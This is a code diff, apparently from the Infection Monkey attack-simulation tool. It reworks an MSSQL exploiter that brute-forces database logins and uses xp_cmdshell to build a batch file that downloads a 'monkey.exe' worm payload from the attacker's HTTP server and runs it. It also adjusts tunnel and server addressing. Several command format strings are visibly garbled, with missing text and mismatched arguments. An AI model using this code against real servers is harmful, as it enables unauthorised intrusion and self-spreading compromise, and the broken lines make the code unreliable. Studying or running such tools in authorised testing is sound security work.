diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 693aaa8f4..d5f5b2258 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -2,12 +2,13 @@ import os import logging from time import sleep import pymssql +import textwrap from infection_monkey.exploit import HostExploiter, mssqlexec_utils, tools from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.tools import HTTPTools from infection_monkey.config import WormConfiguration - +from infection_monkey.model import DROPPER_ARG, RUN_MONKEY __author__ = 'Maor Rayzin' @@ -22,6 +23,10 @@ class MSSQLExploiter(HostExploiter): SQL_DEFAULT_TCP_PORT = '1433' DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' + # Temporary file that saves commands for monkey's download. + TMP_FILE_NAME = 'tmp_monkey.bat' + # Monkey file name + MONKEY_FILE = 'monkey.exe' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -48,25 +53,62 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - - payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \ - else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN - - if not self.create_payload_file(payload_path): - return False cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list) + if not cursor: LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) return False + # Get monkey exe for host and it's path - def execute_command(self, cursor, cmds): + src_path = tools.get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create server for http download and wait for it's startup. + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + # TODO choose bit version + dst_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.MONKEY_FILE) + tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME) + commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows] + MSSQLExploiter.execute_command(cursor, commands) + commands = [ + "xp_cmdshell \"%s\"" % tmp_file_path, + "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), + "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] + MSSQLExploiter.execute_command(cursor, commands) + commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path] + MSSQLExploiter.execute_command(cursor, commands) + + monkey_args = tools.build_monkey_commandline(self.host, + tools.get_monkey_depth() - 1, + dst_path) + monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path) + for part in textwrap.wrap(monkey_args, 40)] + + commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)] + commands.extend(monkey_args) + MSSQLExploiter.execute_command(cursor, commands) + + commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path] + MSSQLExploiter.execute_command(cursor, commands) + return True + + + @staticmethod + def execute_command(cursor, cmds): try: # Running the cmd on remote host for cmd in cmds: cursor.execute(cmd) sleep(0.5) except Exception as e: - LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) + LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e) return False return True @@ -85,30 +127,6 @@ class MSSQLExploiter(HostExploiter): chosen_attack = self.attacks_list[0](payload, cursor, self.host) - - - # Get monkey exe for host and it's path - src_path = tools.get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - if not http_path: - LOG.debug("Exploiter failed, http transfer creation failed.") - return False - # TODO choose bit version - dst_path = WormConfiguration.dropper_target_path_win_64 - dst_path = "c:\\windows\\temp\\monkey64.exe" - LOG.info("Started http server on %s", http_path) - tmp_file_path = "c:\\windows\\temp\\monkey_tmp.bat" - commands = ["xp_cmdshell \"%s\"" % tmp_file_path, - "xp_cmdshell \">%s\"" % (http_path, tmp_file_path), - "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)] - chosen_attack.execute_command(commands) - commands2 = ["exec xp_cmdshell \"%s\"" % tmp_file_path] - chosen_attack.execute_command(commands2) - if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) if chosen_attack.execute_payload(): diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..7c8cd5eee 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach from common.utils.attack_utils import ScanStatus from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'itamar' @@ -39,6 +40,7 @@ class InfectionMonkey(object): self._exploiters = None self._fingerprint = None self._default_server = None + self._default_server_port = None self._depth = 0 self._opts = None self._upgrading_to_64 = False @@ -59,6 +61,10 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -172,8 +178,8 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: + machine.set_default_server(get_interface_to_target(machine.ip_addr)+':'+self._default_server_port) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) - machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index d589ac98b..999f4d7fc 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -2,7 +2,6 @@ import logging import socket import struct import time -from difflib import get_close_matches from threading import Thread from infection_monkey.model import VictimHost @@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import local_ips, get_free_tcp_port from infection_monkey.network.tools import check_tcp_port from infection_monkey.transport.base import get_last_serve_time +from infection_monkey.exploit.tools import get_interface_to_target __author__ = 'hoffer' @@ -148,9 +148,9 @@ class MonkeyTunnel(Thread): try: search, address = self._broad_sock.recvfrom(BUFFER_READ) if '?' == search: - ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips + ip_match = get_interface_to_target(address[0]) if ip_match: - answer = '%s:%d' % (ip_match[0], self.local_port) + answer = '%s:%d' % (ip_match, self.local_port) LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer) self._broad_sock.sendto(answer, (address[0], MCAST_PORT)) elif '+' == search: @@ -187,8 +187,8 @@ class MonkeyTunnel(Thread): if not self.local_port: return - ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips - host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port) + ip_match = get_interface_to_target(host.ip_addr) + host.default_tunnel = '%s:%d' % (ip_match, self.local_port) def stop(self): self._stopped = True